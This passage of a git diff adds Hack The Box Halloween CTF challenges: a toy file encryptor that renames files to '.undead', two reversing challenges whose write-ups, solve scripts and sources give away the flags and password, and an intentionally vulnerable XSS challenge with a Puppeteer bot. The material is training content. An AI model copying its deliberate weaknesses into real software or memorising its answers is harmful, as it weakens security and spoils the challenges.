1; + } + buf_sz += 1024; + } +} + +void encrypt_buf(char* buffer, size_t buflen, uint8_t* key) { + struct chacha20_context ctx; + uint8_t nonce[12] = { 0 }; + chacha20_init_context(&ctx, key, nonce, 0); + chacha20_xor(&ctx, buffer, buflen); +} + +int main(int argc, char** argv) { + if (argc < 2) { + printf("Usage: %s file_to_encrypt\n", (argc > 0) ? argv[0] : "crypt"); + return 1; + } + const char* file = argv[1]; + if (ends_with(file, ".undead")) { + puts("error: that which is undead may not be encrypted"); + return 2; + } + size_t new_filename_len = strlen(file) + sizeof(".undead") + 1; + char* new_filename = malloc(new_filename_len); + strncpy(new_filename, file, new_filename_len); + strncat(new_filename, ".undead", new_filename_len); + char* filebuf; + size_t filelen; + if (read_file(file, &filelen, &filebuf)) { + perror("error reading file"); + return 3; + } + + encrypt_buf(filebuf, filelen, "BRAAAAAAAAAAAAAAAAAAAAAAAAAINS!!"); + if (rename(file, new_filename)) { + perror("error renaming file"); + return 4; + } + int fd = open(new_filename, O_WRONLY | O_TRUNC); + if (fd < 0) { + perror("error opening new file"); + return 5; + } + write(fd, filebuf, filelen); + close(fd); + puts("successfully zombified your file!"); + return 0; +} \ No newline at end of file diff --git a/htb/hacktheboo2024/rev/[Very Easy] Graverobber/README.md b/htb/hacktheboo2024/rev/[Very Easy] Graverobber/README.md new file mode 100644 index 0000000..d466eb3 --- /dev/null +++ b/htb/hacktheboo2024/rev/[Very Easy] Graverobber/README.md @@ -0,0 +1,101 @@ + + +Graverobber + + 4th 10 24 / Document No. D24.102.X168 + + Prepared By: clubby789 + + Challenge Author: clubby789 + + Difficulty: Very Easy + + Classification: Official + + + + + + +# Synopsis + +Graverobber is a Very Easy reversing challenge. Players will use `strace` to identify binary functionality, then scripting to uncover the flag. + +## Skills Learned + - strace + - basic scripting + + +# Solution + +If we run the provided binary, we're given an error message. + +``` +We took a wrong turning! +``` + +## Tracing + +We can use `strace` to try and guess what the binary is doing. + +```c +$ strace ./robber +/* SNIP */ +newfstatat(AT_FDCWD, "H/", 0x7ffcbd70cf50, 0) = -1 ENOENT (No such file or directory) +write(1, "We took a wrong turning!\n", 25We took a wrong turning! +) = 25 +exit_group(1) = ? ++++ exited with 1 +++ +``` + +We're trying to use `newfstatat` (a specialized version of the `stat` syscall used for file metadata) on some directory `H`. If we create it and run again: + +```c +newfstatat(AT_FDCWD, "H/", {st_mode=S_IFDIR|0755, st_size=4096, ...}, 0) = 0 +newfstatat(AT_FDCWD, "H/T/", 0x7fff03f91e00, 0) = -1 ENOENT (No such file or directory) +write(1, "We took a wrong turning!\n", 25We took a wrong turning! +``` + +Looks like it will open several directories in sequence. We'll write a script to automate creating them. + +## Scripting + +We'll begin by deleting and creating a directory to work in. + +```py +import os +import shutil +from pwn import * + +try: + shutil.rmtree("directories") + os.mkdir("directories") +except Exception: + pass +os.chdir("directories") +``` + +We'll then loop, running the binary under `strace` (using `-e` to filter to only the `newfstatat` calls): + +```py +while True: + with context.local(log_level='ERROR'): + p = process(["strace", "-e", "newfstatat", "../robber"]) + out = p.recvall().decode() + p.close() +``` + +We'll then look at the last call to see the last path expected, and use that to create a directory. We'll also break if the error message isn't printed as we've likely found the whole path. + +```py + if 'wrong turning' not in out: break + stats = [line for line in out.split("\n") if "newfstatat" in line] + # Get last line, and get the content of the string + path = stats[-1].split('"')[1] + # Remove separators and print path + print(path.replace("/", "")) + # Recursively make the directory + os.makedirs(path) +``` + +On running this script, we'll get the flag. diff --git a/htb/hacktheboo2024/rev/[Very Easy] Graverobber/htb/solve.py b/htb/hacktheboo2024/rev/[Very Easy] Graverobber/htb/solve.py new file mode 100755 index 0000000..d8c9131 --- /dev/null +++ b/htb/hacktheboo2024/rev/[Very Easy] Graverobber/htb/solve.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python3 +import os +import shutil +from pwn import * + +try: + shutil.rmtree("directories") + os.mkdir("directories") +except Exception: + pass +os.chdir("directories") + +while True: + with context.local(log_level='ERROR'): + p = process(["strace", "-e", "newfstatat", "../robber"]) + out = p.recvall().decode() + p.close() + if 'wrong turning' not in out: break + stats = [line for line in out.split("\n") if "newfstatat" in line] + path = stats[-1].split('"')[1] + print(path.replace("/", "")) + os.makedirs(path) + diff --git a/htb/hacktheboo2024/rev/[Very Easy] Graverobber/release/rev_graverobber.zip b/htb/hacktheboo2024/rev/[Very Easy] Graverobber/release/rev_graverobber.zip new file mode 100644 index 0000000..df44802 Binary files /dev/null and b/htb/hacktheboo2024/rev/[Very Easy] Graverobber/release/rev_graverobber.zip differ diff --git a/htb/hacktheboo2024/rev/[Very Easy] Graverobber/src/.gitignore b/htb/hacktheboo2024/rev/[Very Easy] Graverobber/src/.gitignore new file mode 100644 index 0000000..512d7ef --- /dev/null +++ b/htb/hacktheboo2024/rev/[Very Easy] Graverobber/src/.gitignore @@ -0,0 +1 @@ +directories diff --git a/htb/hacktheboo2024/rev/[Very Easy] Graverobber/src/Makefile b/htb/hacktheboo2024/rev/[Very Easy] Graverobber/src/Makefile new file mode 100644 index 0000000..9c86538 --- /dev/null +++ b/htb/hacktheboo2024/rev/[Very Easy] Graverobber/src/Makefile @@ -0,0 +1,7 @@ +.PHONY := clean + +robber: main.c + gcc main.c -o robber + +clean: + rm -f robber diff --git a/htb/hacktheboo2024/rev/[Very Easy] Graverobber/src/main.c b/htb/hacktheboo2024/rev/[Very Easy] Graverobber/src/main.c new file mode 100644 index 0000000..2fd5dd7 --- /dev/null +++ b/htb/hacktheboo2024/rev/[Very Easy] Graverobber/src/main.c @@ -0,0 +1,56 @@ +#include +#include + +#include + +// HTB{br34k1n9_d0wn_th3_sysc4ll5} +uint32_t parts[] = { + U'H', + U'T', + U'B', + U'{', + U'b', + U'r', + U'3', + U'4', + U'k', + U'1', + U'n', + U'9', + U'_', + U'd', + U'0', + U'w', + U'n', + U'_', + U't', + U'h', + U'3', + U'_', + U's', + U'y', + U's', + U'c', + U'4', + U'l', + U'l', + U'5', + U'}', + 0, +}; + +#define N_PARTS sizeof(parts)/sizeof(parts[0]) + +int main() { + char buf[(N_PARTS * 2) + 4] = { 0 }; + struct stat st; + for (int i = 0; i < N_PARTS; i++) { + buf[i * 2] = parts[i]; + buf[(i * 2) + 1] = '/'; + if (stat(buf, &st)) { + puts("We took a wrong turning!"); + return 1; + } + } + puts("We found the treasure! (I hope it's not cursed)"); +} \ No newline at end of file diff --git a/htb/hacktheboo2024/rev/[Very Easy] SpookyPass/README.md b/htb/hacktheboo2024/rev/[Very Easy] SpookyPass/README.md new file mode 100644 index 0000000..82af098 --- /dev/null +++ b/htb/hacktheboo2024/rev/[Very Easy] SpookyPass/README.md @@ -0,0 +1,52 @@ + + +SpookyPass + + 4th 10 24 / Document No. D24.102.169 + + Prepared By: clubby789 + + Challenge Author: clubby789 + + Difficulty: Very Easy + + Classification: Official + + + + + + +# Synopsis + +SpookyPass is a Very Easy reversing challenge. Players will use `strings` to identify a password. + +## Skills Learned + - `strings` + +# Solution + +Running the binary, we're given a password prompt: + +``` +Welcome to the SPOOKIEST party of the year. +Before we let you in, you'll need to give us the password: foo +You're not a real ghost; clear off! +``` + +We'll use `strings` to look for hidden data in the program: + +```sh +$ strings ./pass +# .. SNIP .. +Welcome to the +[1;3mSPOOKIEST +[0m party of the year. +Before we let you in, you'll need to give us the password: +s3cr3t_p455_f0r_gh05t5_4nd_gh0ul5 +Welcome inside! +You're not a real ghost; clear off! +# .. SNIP .. +``` + +If we try `s3cr3t_p455_f0r_gh05t5_4nd_gh0ul5` as the password, we'll be accepted and receive the flag. diff --git a/htb/hacktheboo2024/rev/[Very Easy] SpookyPass/release/rev_spookypass.zip b/htb/hacktheboo2024/rev/[Very Easy] SpookyPass/release/rev_spookypass.zip new file mode 100644 index 0000000..37e763f Binary files /dev/null and b/htb/hacktheboo2024/rev/[Very Easy] SpookyPass/release/rev_spookypass.zip differ diff --git a/htb/hacktheboo2024/rev/[Very Easy] SpookyPass/src/Makefile b/htb/hacktheboo2024/rev/[Very Easy] SpookyPass/src/Makefile new file mode 100644 index 0000000..9d536e0 --- /dev/null +++ b/htb/hacktheboo2024/rev/[Very Easy] SpookyPass/src/Makefile @@ -0,0 +1,7 @@ +.PHONY := clean + +pass: main.c + gcc main.c -o pass + +clean: + rm -f pass diff --git a/htb/hacktheboo2024/rev/[Very Easy] SpookyPass/src/main.c b/htb/hacktheboo2024/rev/[Very Easy] SpookyPass/src/main.c new file mode 100644 index 0000000..8bc3b1b --- /dev/null +++ b/htb/hacktheboo2024/rev/[Very Easy] SpookyPass/src/main.c @@ -0,0 +1,53 @@ +#include +#include +#include + +// HTB{un0bfu5c4t3d_5tr1ng5} +uint32_t parts[] = { + U'H', + U'T', + U'B', + U'{', + U'u', + U'n', + U'0', + U'b', + U'f', + U'u', + U'5', + U'c', + U'4', + U't', + U'3', + U'd', + U'_', + U'5', + U't', + U'r', + U'1', + U'n', + U'g', + U'5', + U'}', + 0, +}; +#define N_PARTS sizeof(parts)/sizeof(parts[0]) + +int main() { + char buf[128]; + char flagbuf[N_PARTS] = { 0 }; + puts("Welcome to the \x1b[1;3mSPOOKIEST\x1b[0m party of the year!"); + printf("Before we let you in, you'll need to give us the password: "); + fgets(buf, sizeof(buf), stdin); + char* nl; + if (nl = strchr(buf, '\n')) *nl = 0; + if (strcmp(buf, "s3cr3t_p455_f0r_gh05t5_4nd_gh0ul5") == 0) { + puts("Welcome inside!"); + for (int i = 0; i < N_PARTS; i++) { + flagbuf[i] = parts[i]; + } + puts(flagbuf); + } else { + puts("You're not a real ghost; clear off!"); + } +} \ No newline at end of file diff --git a/htb/hacktheboo2024/web/web_phantom_script/Dockerfile b/htb/hacktheboo2024/web/web_phantom_script/Dockerfile new file mode 100644 index 0000000..46d0760 --- /dev/null +++ b/htb/hacktheboo2024/web/web_phantom_script/Dockerfile @@ -0,0 +1,26 @@ +FROM node:current-alpine + +# Install necessary dependencies +RUN apk update \ + && apk add --no-cache chromium nss freetype harfbuzz ttf-freefont \ + && apk add --no-cache curl wget xvfb unzip supervisor \ + && rm -rf /var/cache/apk/* + +# Set environment variable for Puppeteer to use the system-installed Chromium +ENV PUPPETEER_SKIP_DOWNLOAD=true \ + PUPPETEER_EXECUTABLE_PATH=/usr/bin/chromium-browser + +# Install Node.js dependencies +WORKDIR /app +COPY challenge . +RUN npm install + +# Copying required files +COPY flag.txt / +COPY config/supervisord.conf /etc/supervisord.conf + +# Expose port +EXPOSE 1337 + +# Start supervisor +ENTRYPOINT ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"] diff --git a/htb/hacktheboo2024/web/web_phantom_script/README.md b/htb/hacktheboo2024/web/web_phantom_script/README.md new file mode 100644 index 0000000..7f436fd --- /dev/null +++ b/htb/hacktheboo2024/web/web_phantom_script/README.md @@ -0,0 +1,47 @@ +![img](assets/banner.png) + + Phantom Script + + 20th Oct 2024 + Prepared By: Xclow3n + + Challenge Author: Xclow3n + + Difficulty: Very Easy + + Classification: Official + + + +# [Synopsis](#synopsis) + +- Phantom Script is a very easy web challenge where players can learn about Cross Site Scripting interactively. + +## Skills Required + +- Basic understanding of HTML/CSS/JS. + +## Skills Learned + +- Cross-Site Scripting (XSS) + +# [Solution](#Solution) + +Visiting the web page brings up the following display: +![img](assets/home.png) + +We can see three sections: the web app, the Vulnerable Code window, and the Documentation. + +![img](assets/search.png) + +Performing a search updates both the article content and the Vulnerable Code window, showing where our input is processed in the vulnerable code. + +According to the documentation, our goal is to trigger an alert box to receive the flag. + +Entering the following payload: `` + +Triggers an alert box, and after a short wait, we receive the flag. + +![img](assets/flag.png) + +This completes the challenge! :) diff --git a/htb/hacktheboo2024/web/web_phantom_script/assets/banner.png b/htb/hacktheboo2024/web/web_phantom_script/assets/banner.png new file mode 100644 index 0000000..bce6111 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/assets/banner.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/assets/flag.png b/htb/hacktheboo2024/web/web_phantom_script/assets/flag.png new file mode 100644 index 0000000..e8cedd5 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/assets/flag.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/assets/home.png b/htb/hacktheboo2024/web/web_phantom_script/assets/home.png new file mode 100644 index 0000000..f5b9c11 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/assets/home.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/assets/htb.png b/htb/hacktheboo2024/web/web_phantom_script/assets/htb.png new file mode 100644 index 0000000..fe73253 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/assets/htb.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/assets/search.png b/htb/hacktheboo2024/web/web_phantom_script/assets/search.png new file mode 100644 index 0000000..60a5090 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/assets/search.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/build-docker.sh b/htb/hacktheboo2024/web/web_phantom_script/build-docker.sh new file mode 100644 index 0000000..bd8b472 --- /dev/null +++ b/htb/hacktheboo2024/web/web_phantom_script/build-docker.sh @@ -0,0 +1,4 @@ +#!/bin/bash +docker rm -f web_saga_scrolls +docker build -t web_saga_scrolls . +docker run --name=web_game_capsule --rm -p1337:1337 -it web_saga_scrolls diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/helpers/botHelper.js b/htb/hacktheboo2024/web/web_phantom_script/challenge/helpers/botHelper.js new file mode 100644 index 0000000..edb6a05 --- /dev/null +++ b/htb/hacktheboo2024/web/web_phantom_script/challenge/helpers/botHelper.js @@ -0,0 +1,78 @@ +const puppeteer = require('puppeteer'); +const fs = require('fs'); +let io; +let isBotRunning = false; +let browser; // Keep the browser instance +const flag = fs.readFileSync('/flag.txt', 'utf8'); + +// Initialize the browser once when the application starts +browser = puppeteer.launch({ + headless: true, + executablePath: process.env.PUPPETEER_EXECUTABLE_PATH || '/usr/bin/chromium-browser', + args: [ + '--no-sandbox', + '--disable-setuid-sandbox', + '--disable-gpu', + '--disable-dev-shm-usage', + '--disable-extensions', + '--disable-background-timer-throttling', + '--disable-backgrounding-occluded-windows', + '--disable-renderer-backgrounding' + ], +}); + +const visit = async (query) => { + if (isBotRunning) { + console.log('Bot is already running. Skipping new request.'); + return; + } + + isBotRunning = true; + + let page; + + try { + // Open a new page for each request + page = await (await browser).newPage(); + + console.log('New page opened successfully!'); + + // Navigate to the URL + await page.goto(`http://127.0.0.1:1337?q=${query}`, { waitUntil: 'domcontentloaded' }); + + let alertHandled = false; + + // Check for alert dialogs using Puppeteer's page.on('dialog') event listener + page.on('dialog', async (dialog) => { + await dialog.accept(); + alertHandled = true; + if (io) { + io.emit('flag', { message: 'Alert detected!', flag: flag.trim() }); + } + await page.close(); // Close the page after handling the alert + isBotRunning = false; + }); + + // Use setTimeout to wait for the alert to appear + setTimeout(async () => { + if (!alertHandled) { + await page.close(); // Close the page if no alert was detected + isBotRunning = false; + } + }, 500); // 500ms wait before closing the page if no alert is handled + + } catch (e) { + console.error(`Failed to navigate: ${e.message}`); + if (page) { + await page.close(); // Ensure the page is closed on error + } + isBotRunning = false; + } +}; + +// Setter function to initialize io +const setIo = (socketIoInstance) => { + io = socketIoInstance; +}; + +module.exports = { visit, setIo }; diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/index.js b/htb/hacktheboo2024/web/web_phantom_script/challenge/index.js new file mode 100644 index 0000000..bcd0120 --- /dev/null +++ b/htb/hacktheboo2024/web/web_phantom_script/challenge/index.js @@ -0,0 +1,49 @@ +const express = require("express"); +const http = require("http"); +const socketIo = require("socket.io"); +const app = express(); +const path = require("path"); +const nunjucks = require("nunjucks"); +const routes = require("./routes"); +const { setIo } = require("./helpers/botHelper"); // Import the setter function + +app.use(express.json()); + +nunjucks.configure("views", { + autoescape: true, + express: app, +}); + +app.set("views", "./views"); +app.use("/static", express.static(path.resolve("static"))); +app.set("etag", false); + +app.use(routes()); + +app.all("*", (req, res) => { + return res.status(404).send({ + message: "404 page not found", + }); +}); + +// Create an HTTP server +const server = http.createServer(app); + +// Initialize socket.io +const io = socketIo(server); + +setIo(io); + +io.on("connection", (socket) => { + console.log("Socket.io client connected"); + + socket.on("message", (message) => { + console.log("Received:", message); + }); + + // Example of emitting an event to the client + socket.emit("welcome", "Welcome to the WebSocket server!"); +}); + +// Start the server and WebSocket server +server.listen(1337, "0.0.0.0", () => console.log("Listening on port 1337")); diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/package.json b/htb/hacktheboo2024/web/web_phantom_script/challenge/package.json new file mode 100644 index 0000000..bfad1f4 --- /dev/null +++ b/htb/hacktheboo2024/web/web_phantom_script/challenge/package.json @@ -0,0 +1,22 @@ +{ + "name": "web_saga_scrolls", + "version": "1.0.0", + "main": "index.js", + "scripts": { + "dev": "nodemon -e html,js,css index.js", + "start": "node index.js" + }, + "keywords": [], + "author": "Xclow3n", + "license": "ISC", + "description": "", + "dependencies": { + "express": "^4.19.2", + "nunjucks": "^3.2.4", + "puppeteer": "^23.6.0", + "socket.io": "^4.7.5" + }, + "devDependencies": { + "nodemon": "^3.1.4" + } +} diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/routes/index.js b/htb/hacktheboo2024/web/web_phantom_script/challenge/routes/index.js new file mode 100644 index 0000000..5631213 --- /dev/null +++ b/htb/hacktheboo2024/web/web_phantom_script/challenge/routes/index.js @@ -0,0 +1,28 @@ +const express = require("express"); +const fs = require("fs"); +const router = express.Router(); +const { visit } = require("../helpers/botHelper"); + +router.get("/", (req, res) => { + return res.render("home.html"); +}); + +router.post("/search", (req, res) => { + const { query } = req.body; + + if (query) { + try { + visit(query); + + return res.status(200).json({ message: "Bot triggered successfully." }); + } catch (err) { + return res.status(500).json({ message: "Error triggering bot.", error: err.message }); + } + } else { + return res.status(400).json({ message: "No search query provided." }); + } +}); + +module.exports = () => { + return router; +}; diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/background-image-golden.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/background-image-golden.png new file mode 100644 index 0000000..c69405d Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/background-image-golden.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/background-image-golden2.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/background-image-golden2.png new file mode 100644 index 0000000..6a75a49 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/background-image-golden2.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/background-image-grey.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/background-image-grey.png new file mode 100644 index 0000000..7fcaf03 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/background-image-grey.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/background-image.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/background-image.png new file mode 100644 index 0000000..37e35e0 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/background-image.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/border-image-golden.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/border-image-golden.png new file mode 100644 index 0000000..97bf501 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/border-image-golden.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/border-image-golden2.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/border-image-golden2.png new file mode 100644 index 0000000..785341e Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/border-image-golden2.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/border-image-grey.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/border-image-grey.png new file mode 100644 index 0000000..8cba42b Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/border-image-grey.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/border-image.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/border-image.png new file mode 100644 index 0000000..d6c2379 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/border-image.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-background.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-background.png new file mode 100644 index 0000000..24b725a Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-background.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-down.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-down.png new file mode 100644 index 0000000..57a7f07 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-down.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-golden-down.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-golden-down.png new file mode 100644 index 0000000..af8e49d Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-golden-down.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-golden-hover.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-golden-hover.png new file mode 100644 index 0000000..a437e07 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-golden-hover.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-golden-left.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-golden-left.png new file mode 100644 index 0000000..b07d42d Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-golden-left.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-golden-right.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-golden-right.png new file mode 100644 index 0000000..bba1cee Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-golden-right.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-golden.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-golden.png new file mode 100644 index 0000000..21d479e Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-golden.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-hover.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-hover.png new file mode 100644 index 0000000..ae73206 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button-hover.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button.png new file mode 100644 index 0000000..de267f7 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/button.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/checkbox-golden-off.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/checkbox-golden-off.png new file mode 100644 index 0000000..b2cd898 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/checkbox-golden-off.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/checkbox-golden-on.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/checkbox-golden-on.png new file mode 100644 index 0000000..b01dffc Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/checkbox-golden-on.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/checkbox-off.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/checkbox-off.png new file mode 100644 index 0000000..4dd5796 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/checkbox-off.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/checkbox-on.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/checkbox-on.png new file mode 100644 index 0000000..f32b538 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/checkbox-on.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/cursor/cursor.cur b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/cursor/cursor.cur new file mode 100644 index 0000000..c21d448 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/cursor/cursor.cur differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/cursor/default.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/cursor/default.png new file mode 100644 index 0000000..edc2c48 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/cursor/default.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/cursor/grab-close.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/cursor/grab-close.png new file mode 100644 index 0000000..128f3f0 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/cursor/grab-close.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/cursor/grab-open.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/cursor/grab-open.png new file mode 100644 index 0000000..3e786f5 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/cursor/grab-open.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/cursor/point.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/cursor/point.png new file mode 100644 index 0000000..58a3158 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/cursor/point.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/cursor/select.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/cursor/select.png new file mode 100644 index 0000000..d1db34f Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/cursor/select.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/hr-golden.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/hr-golden.png new file mode 100644 index 0000000..cd8a27e Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/hr-golden.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/hr.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/hr.png new file mode 100644 index 0000000..c9a7a3f Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/hr.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/armor-slot.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/armor-slot.png new file mode 100644 index 0000000..1408cac Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/armor-slot.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/empty-slot.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/empty-slot.png new file mode 100644 index 0000000..d90de1c Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/empty-slot.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/exclamation.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/exclamation.png new file mode 100644 index 0000000..788e656 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/exclamation.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/helmet-slot.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/helmet-slot.png new file mode 100644 index 0000000..f17c16c Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/helmet-slot.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/magic-slot.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/magic-slot.png new file mode 100644 index 0000000..b58bd8f Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/magic-slot.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/potion-blue.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/potion-blue.png new file mode 100644 index 0000000..277b654 Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/potion-blue.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/potion-green.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/potion-green.png new file mode 100644 index 0000000..a2bdc6e Binary files /dev/null and b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/potion-green.png differ diff --git a/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/potion-red.png b/htb/hacktheboo2024/web/web_phantom_script/challenge/static/css/img/icons/potion-red.png new file mode 100644 index 0000000..be8f7e7 Binary files /dev/null and 